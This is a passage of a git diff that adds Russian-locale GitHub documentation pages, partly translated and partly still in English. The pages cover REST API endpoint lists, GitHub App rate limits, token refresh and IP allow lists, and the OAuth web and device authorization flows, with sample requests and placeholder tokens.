обсуждению](/rest/teams#create-a-discussion-comment) +* [Получение комментария к обсуждению](/rest/teams#get-a-discussion-comment) +* [Обновление комментария к обсуждению](/rest/teams#update-a-discussion-comment) +* [Удаление комментария к обсуждению](/rest/teams#delete-a-discussion-comment) + +#### Разделы + +* [Получение всех тем репозитория](/rest/repos#get-all-repository-topics) +* [Замена всех тем репозитория](/rest/repos#replace-all-repository-topics) + +{% ifversion fpt or ghec %} +#### Трафик + +* [Получение клонов репозитория](/rest/metrics#get-repository-clones) +* [Получение лучших путей перехода](/rest/metrics#get-top-referral-paths) +* [Получение лучших источников перехода](/rest/metrics#get-top-referral-sources) +* [Получение просмотров страницы](/rest/metrics#get-page-views) {% endif %} + +{% ifversion fpt or ghec %} +#### Блокировка пользователей + +* [Список пользователей, заблокированных пользователем, прошедшим проверку подлинности](/rest/users#list-users-blocked-by-the-authenticated-user) +* [Проверка того, не заблокирован ли пользователь другим пользователем, прошедшим проверку подлинности](/rest/users#check-if-a-user-is-blocked-by-the-authenticated-user) +* [Список пользователей, заблокированных организацией](/rest/orgs#list-users-blocked-by-an-organization) +* [Проверка, не заблокирован ли пользователь организацией](/rest/orgs#check-if-a-user-is-blocked-by-an-organization) +* [Блокировка пользователя в организации](/rest/orgs#block-a-user-from-an-organization) +* [Разблокировка пользователя в организации](/rest/orgs#unblock-a-user-from-an-organization) +* [Блокировка пользователя](/rest/users#block-a-user) +* [Разблокировка пользователя](/rest/users#unblock-a-user) {% endif %} + +{% ifversion fpt or ghes or ghec %} +#### Электронные письма для пользователей + +{% ifversion fpt or ghec %} +* [Настройка видимости основного адреса электронной почты для пользователя, прошедшего проверку подлинности](/rest/users#set-primary-email-visibility-for-the-authenticated-user) {% endif %} +* [Список адресов электронной почты для пользователя, прошедшего проверку подлинности](/rest/users#list-email-addresses-for-the-authenticated-user) +* [Добавление адресов электронной почты](/rest/users#add-an-email-address-for-the-authenticated-user) +* [Удаление адресов электронной почты](/rest/users#delete-an-email-address-for-the-authenticated-user) +* [Список общедоступных адресов электронной почты для пользователя, прошедшего проверку подлинности](/rest/users#list-public-email-addresses-for-the-authenticated-user) {% endif %} + +#### Подписчики пользователя + +* [Список подписчиков пользователя](/rest/users#list-followers-of-a-user) +* [Список людей, на которых подписан пользователь](/rest/users#list-the-people-a-user-follows) +* [Проверка того, подписан ли на человека пользователь, прошедший проверку подлинности](/rest/users#check-if-a-person-is-followed-by-the-authenticated-user) +* [Подписка на пользователя](/rest/users#follow-a-user) +* [Отмена подписки на пользователя](/rest/users#unfollow-a-user) +* [Проверка того, подписан ли пользователь на другого пользователя](/rest/users#check-if-a-user-follows-another-user) + +#### Ключи GPG пользователя + +* [Список ключей GPG для пользователя, прошедшего проверку подлинности](/rest/users#list-gpg-keys-for-the-authenticated-user) +* [Создание ключа GPG для пользователя, прошедшего проверку подлинности](/rest/users#create-a-gpg-key-for-the-authenticated-user) +* [Получение ключа GPG для пользователя, прошедшего проверку подлинности](/rest/users#get-a-gpg-key-for-the-authenticated-user) +* [Удаление ключа GPG для пользователя, прошедшего проверку подлинности](/rest/users#delete-a-gpg-key-for-the-authenticated-user) +* [Список ключей GPG для пользователя](/rest/users#list-gpg-keys-for-a-user) + +#### Открытые ключи пользователя + +* [Список открытых ключей SSH для пользователя, прошедшего проверку подлинности](/rest/users#list-public-ssh-keys-for-the-authenticated-user) +* [Создание открытых ключей SSH для пользователя, прошедшего проверку подлинности](/rest/users#create-a-public-ssh-key-for-the-authenticated-user) +* [Получение открытых ключей SSH для пользователя, прошедшего проверку подлинности](/rest/users#get-a-public-ssh-key-for-the-authenticated-user) +* [Удаление открытых ключей SSH для пользователя, прошедшего проверку подлинности](/rest/users#delete-a-public-ssh-key-for-the-authenticated-user) +* [Список открытых ключей для пользователя](/rest/users#list-public-keys-for-a-user) + +#### Пользователи + +* [Получение пользователя, прошедшего проверку подлинности](/rest/users#get-the-authenticated-user) +* [Список установок приложений, доступных для маркера доступа пользователя](/rest/apps#list-app-installations-accessible-to-the-user-access-token) {% ifversion fpt or ghec %} +* [Список подписок для пользователя, прошедшего проверку подлинности](/rest/apps#list-subscriptions-for-the-authenticated-user) {% endif %} +* [Список пользователей](/rest/users#list-users) +* [Получение пользователя](/rest/users#get-a-user) + +{% ifversion fpt or ghec %} +#### Выполнение рабочего процесса + +* [Список выполнений рабочего процесса для репозитория](/rest/actions#list-workflow-runs-for-a-repository) +* [Получение выполнения рабочего процесса](/rest/actions#get-a-workflow-run) +* [Отмена выполнения рабочего процесса](/rest/actions#cancel-a-workflow-run) +* [Скачивание журналов выполнения рабочего процесса](/rest/actions#download-workflow-run-logs) +* [Удаление журналов выполнения рабочего процесса](/rest/actions#delete-workflow-run-logs) +* [Повторное выполнение рабочего процесса](/rest/actions#re-run-a-workflow) +* [Список выполнений рабочего процесса](/rest/actions#list-workflow-runs) +* [Получение данных об использовании выполнения рабочего процесса](/rest/actions#get-workflow-run-usage) {% endif %} + +{% ifversion fpt or ghec %} +#### Рабочие процессы + +* [Список рабочих процессов репозитория](/rest/actions#list-repository-workflows) +* [Получение рабочего процесса](/rest/actions#get-a-workflow) +* [Получение использования рабочего процесса](/rest/actions#get-workflow-usage) {% endif %} + +## Дополнительные материалы + +- [Сведения о проверке подлинности для {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats) + diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/index.md b/translations/ru-RU/content/developers/apps/building-github-apps/index.md new file mode 100644 index 000000000000..b67d7ffe64be --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/index.md @@ -0,0 +1,32 @@ +--- +title: Создание приложений GitHub +intro: 'Вы можете создавать приложения GitHub для себя или других пользователей. Узнайте, как зарегистрировать и настроить разрешения и параметры проверки подлинности для приложений GitHub.' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-github-apps + - /apps/building-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +children: + - /creating-a-github-app + - /setting-permissions-for-github-apps + - /managing-allowed-ip-addresses-for-a-github-app + - /authenticating-with-github-apps + - /identifying-and-authorizing-users-for-github-apps + - /rate-limits-for-github-apps + - /refreshing-user-to-server-access-tokens + - /creating-a-github-app-from-a-manifest + - /creating-a-github-app-using-url-parameters + - /creating-a-custom-badge-for-your-github-app +ms.openlocfilehash: ad6d995a68414247849ef52a96f576b755ca4541 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878386' +--- + diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/ru-RU/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md new file mode 100644 index 000000000000..52e151947999 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md @@ -0,0 +1,37 @@ +--- +title: Managing allowed IP addresses for a GitHub App +intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.' +versions: + fpt: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Manage allowed IP addresses +--- + +## About IP address allow lists for {% data variables.product.prodname_github_apps %} + +Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." + +When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true: + +* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this. +* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +{% data reusables.apps.ip-allow-list-only-apps %} + +## Adding an IP address allow list to a {% data variables.product.prodname_github_app %} + +{% data reusables.identity-and-permissions.ipv6-allow-lists %} + +{% data reusables.apps.settings-step %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +{% data reusables.user-settings.modify_github_app %} +1. Scroll down to the "IP allow list" section. +![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png) +{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} + The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description. +{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/ru-RU/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md new file mode 100644 index 000000000000..8f7e7bdec06a --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md @@ -0,0 +1,85 @@ +--- +title: Rate limits for GitHub Apps +intro: '{% data reusables.shortdesc.rate_limits_github_apps %}' +redirect_from: + - /early-access/integrations/rate-limits + - /apps/building-integrations/setting-up-and-registering-github-apps/about-rate-limits-for-github-apps + - /apps/building-github-apps/rate-limits-for-github-apps + - /apps/building-github-apps/understanding-rate-limits-for-github-apps + - /developers/apps/rate-limits-for-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Rate limits +--- + +{% data reusables.enterprise.rate_limit %} + +{% data reusables.rest-api.always-check-your-limit %} + +{% ifversion ghec or fpt %} + +## About rate limits for apps + +Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} depend on the plan for the organization where you install the application. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts#organization-accounts)." + +{% endif %} + +## Server-to-server requests + +{% ifversion ghec or fpt %} + +### Default server-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %} + +{% endif %} + +{% data variables.product.prodname_github_apps %} making server-to-server requests use the installation's minimum rate limit of 5,000 requests per hour. If an application is installed on an organization with more than 20 users, the application receives another 50 requests per hour for each user. Installations that have more than 20 repositories receive another 50 requests per hour for each repository. The maximum rate limit for an installation is 12,500 requests per hour. + +{% ifversion fpt or ghec %} + +### Server-to-server rate limits for {% data variables.product.prodname_ghe_cloud %} + +{% endif %} + +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_github_apps %} that are installed on an organization within an enterprise on {% data variables.location.product_location %} are subject to a limit of 15,000 requests per hour per organization that has installed the app. + +{% endif %} + +## User-to-server requests + +{% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} can also act on behalf of a user, making user-to-server requests after the user authorizes the app. For more information, see "[Authorizing {% data variables.product.prodname_github_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)." + +User-to-server requests from {% data variables.product.prodname_oauth_apps %} are authenticated with an OAuth token. User-to-server requests from {% data variables.product.prodname_github_apps %} are authenticated with either an OAuth token or an expiring user access token. For more information, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#identifying-and-authorizing-users-for-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps/authorizing-oauth-apps)." + +{% ifversion fpt or ghec %} + +### Default user-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %} + +{% endif %} + +{% ifversion ghec %} + +The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.location.product_location %}, then the rate is higher than for installations outside an enterprise. + +{% endif %} + +{% data reusables.apps.user-to-server-rate-limits %} + +{% ifversion fpt or ghec %} + +### User-to-server rate limits for {% data variables.product.prodname_ghe_cloud %} + +{% data reusables.apps.user-to-server-rate-limits-ghec %} + +{% endif %} + +## Further reading + +- "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" in the REST API documentation +- "[Resource limitations](/graphql/overview/resource-limitations)" in the GraphQL API documentation diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/ru-RU/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md new file mode 100644 index 000000000000..615bac5e4b6a --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md @@ -0,0 +1,81 @@ +--- +title: Refreshing user-to-server access tokens +intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.' +redirect_from: + - /apps/building-github-apps/refreshing-user-to-server-access-tokens + - /developers/apps/refreshing-user-to-server-access-tokens +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Refresh user-to-server access +--- +{% data reusables.pre-release-program.expiring-user-access-tokens %} + +## About expiring user access tokens + +To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." + +Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. + +## Renewing a user token with a refresh token + +To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`. + + `POST https://github.com/login/oauth/access_token` + +This callback request will send you a new access token and a new refresh token. This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)." + +### Parameters + +Name | Type | Description +-----|------|------------ +`refresh_token` | `string` | **Required.** The token generated when the {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token. +`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification). +`client_id` | `string` | **Required.** The client ID for your {% data variables.product.prodname_github_app %}. +`client_secret` | `string` | **Required.** The client secret for your {% data variables.product.prodname_github_app %}. + +### Response + +```json +{ + "access_token": "ghu_16C7e42F292c6912E7710c838347Ae178B4a", + "expires_in": "28800", + "refresh_token": "ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498", + "refresh_token_expires_in": "15811200", + "scope": "", + "token_type": "bearer" +} +``` +## Configuring expiring user tokens for an existing GitHub App + +You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}. + ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png) +5. In the left sidebar, click **Optional Features**. + ![Optional features tab](/assets/images/github-apps/optional-features-option.png) +6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply. + +## Opting out of expiring tokens for new GitHub Apps + +When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens. + +If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page. + +![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png) + +Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app. + +Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." + +## Further reading + +- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)" + diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/ru-RU/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md new file mode 100644 index 000000000000..f5e31e4aae0c --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md @@ -0,0 +1,24 @@ +--- +title: Настройка разрешений для приложений GitHub +intro: '{% data reusables.shortdesc.permissions_github_apps %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps + - /apps/building-github-apps/permissions-for-github-apps + - /apps/building-github-apps/setting-permissions-for-github-apps + - /developers/apps/setting-permissions-for-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Set permissions +ms.openlocfilehash: 3dbd9a25e319132c3a16aee32fba3da78864568b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092230' +--- +Приложения GitHub по умолчанию не имеют разрешений. При создании приложения GitHub можно выбрать разрешения, необходимые для доступа к данным конечного пользователя. Разрешения также можно добавлять и удалять. Дополнительные сведения см. в разделе [Изменение разрешений приложения GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/). diff --git a/translations/ru-RU/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/ru-RU/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md new file mode 100644 index 000000000000..557287e15b77 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md @@ -0,0 +1,349 @@ +--- +title: Authorizing OAuth Apps +intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps + - /apps/building-integrations/setting-up-and-registering-oauth-apps/directing-users-to-review-their-access + - /apps/building-integrations/setting-up-and-registering-oauth-apps/creating-multiple-tokens-for-oauth-apps + - /v3/oauth + - /apps/building-oauth-apps/authorization-options-for-oauth-apps + - /apps/building-oauth-apps/authorizing-oauth-apps + - /developers/apps/authorizing-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +--- +{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser. + +If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow). + +To authorize your OAuth app, consider which authorization flow best fits your app. + +- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.) +- [device flow](#device-flow): Used for headless apps, such as CLI tools. + +## Web application flow + +{% note %} + +**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information. + +{% endnote %} + +The web application flow to authorize users for your app is: + +1. Users are redirected to request their GitHub identity +2. Users are redirected back to your site by GitHub +3. Your app accesses the API with the user's access token + +### 1. Request a user's GitHub identity + + GET {% data variables.product.oauth_host_code %}/login/oauth/authorize + +When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app. + +#### Parameters + +Name | Type | Description +-----|------|-------------- +`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}. +`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls). +`login` | `string` | Suggests a specific account to use for signing in and authorizing the app. +`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope. +`state` | `string` | {% data reusables.apps.state_description %} +`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. + +### 2. Users are redirected back to your site by GitHub + +If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process. + +Exchange this `code` for an access token: + + POST {% data variables.product.oauth_host_code %}/login/oauth/access_token + +#### Parameters + +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`code` | `string` | **Required.** The code you received as a response to Step 1. +`redirect_uri` | `string` | The URL in your application where users are sent after authorization. + +#### Response + +By default, the response takes the following form: + +``` +access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&scope=repo%2Cgist&token_type=bearer +``` + +{% data reusables.apps.oauth-auth-vary-response %} + +```json +Accept: application/json +{ + "access_token":"gho_16C7e42F292c6912E7710c838347Ae178B4a", + "scope":"repo,gist", + "token_type":"bearer" +} +``` + +```xml +Accept: application/xml +<OAuth> + <token_type>bearer</token_type> + <scope>repo,gist</scope> + <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token> +</OAuth> +``` + +### 3. Use the access token to access the API + +The access token allows you to make requests to the API on a behalf of a user. + + Authorization: Bearer OAUTH-TOKEN + GET {% data variables.product.api_url_code %}/user + +For example, in curl you can set the Authorization header like this: + +```shell +curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user +``` + +## Device flow + +{% note %} + +**Note:** The device flow is in public beta and subject to change. + +{% endnote %} + +The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager. + +{% ifversion device-flow-is-opt-in %} + +Before you can use the device flow to authorize and identify users, you must first enable it in your app's settings. For more information about enabling the device flow in your app, see "[Modifying an OAuth App](/developers/apps/managing-oauth-apps/modifying-an-oauth-app)" for OAuth Apps and "[Modifying a GitHub App](/developers/apps/managing-github-apps/modifying-a-github-app)" for GitHub Apps. + +{% endif %} + +### Overview of the device flow + +1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code. +2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}. +3. The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token. + +### Step 1: App requests the device and user verification codes from GitHub + + POST {% data variables.product.oauth_host_code %}/login/device/code + +Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication. + +#### Input Parameters + +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app. +`scope` | `string` | The scope that your app is requesting access to. + +#### Response + +By default, the response takes the following form: + +``` +device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice +``` + +{% data reusables.apps.oauth-auth-vary-response %} + +```json +Accept: application/json +{ + "device_code": "3584d83530557fdd1f46af8289938c8ef79f9dc5", + "user_code": "WDJB-MJHT", + "verification_uri": "{% data variables.product.oauth_host_code %}/login/device", + "expires_in": 900, + "interval": 5 +} +``` + +```xml +Accept: application/xml +<OAuth> + <device_code>3584d83530557fdd1f46af8289938c8ef79f9dc5</device_code> + <user_code>WDJB-MJHT</user_code> + <verification_uri>{% data variables.product.oauth_host_code %}/login/device</verification_uri> + <expires_in>900</expires_in> + <interval>5</interval> +</OAuth> +``` + +#### Response parameters + +Name | Type | Description +-----|------|-------------- +`device_code` | `string` | The device verification code is 40 characters and used to verify the device. +`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle. +`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}. +`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes. +`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error. + +### Step 2: Prompt the user to enter the user code in a browser + +Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}. + + ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png) + +### Step 3: App polls GitHub to check if the user authorized the device + + POST {% data variables.product.oauth_host_code %}/login/oauth/access_token + +Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)." + +The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`. + +Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user. + +#### Input parameters + +Name | Type | Description +-----|------|-------------- +`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. +`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request. +`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`. + +#### Response + +By default, the response takes the following form: + +``` +access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&token_type=bearer&scope=repo%2Cgist +``` + +{% data reusables.apps.oauth-auth-vary-response %} + +```json +Accept: application/json +{ + "access_token": "gho_16C7e42F292c6912E7710c838347Ae178B4a", + "token_type": "bearer", + "scope": "repo,gist" +} +``` + +```xml +Accept: application/xml +<OAuth> + <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token> + <token_type>bearer</token_type> + <scope>gist,repo</scope> +</OAuth> +``` + +### Rate limits for the device flow + +When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application. + +If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow). + +### Error codes for the device flow + +| Error code | Description | +|----|----| +| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. | +| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use. +| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code. +| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. +| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow. +| `incorrect_device_code` | The device_code provided is not valid. +| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again.{% ifversion device-flow-is-opt-in %} +| `device_flow_disabled` | Device flow has not been enabled in the app's settings. For more information, see "[Device flow](#device-flow)."{% endif %} + +For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)." + +## Non-Web application flow + +Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a {% data variables.product.pat_generic %} using your [{% data variables.product.pat_generic %}s settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time. + +{% ifversion fpt or ghes or ghec %} +{% note %} + +**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with +two-factor 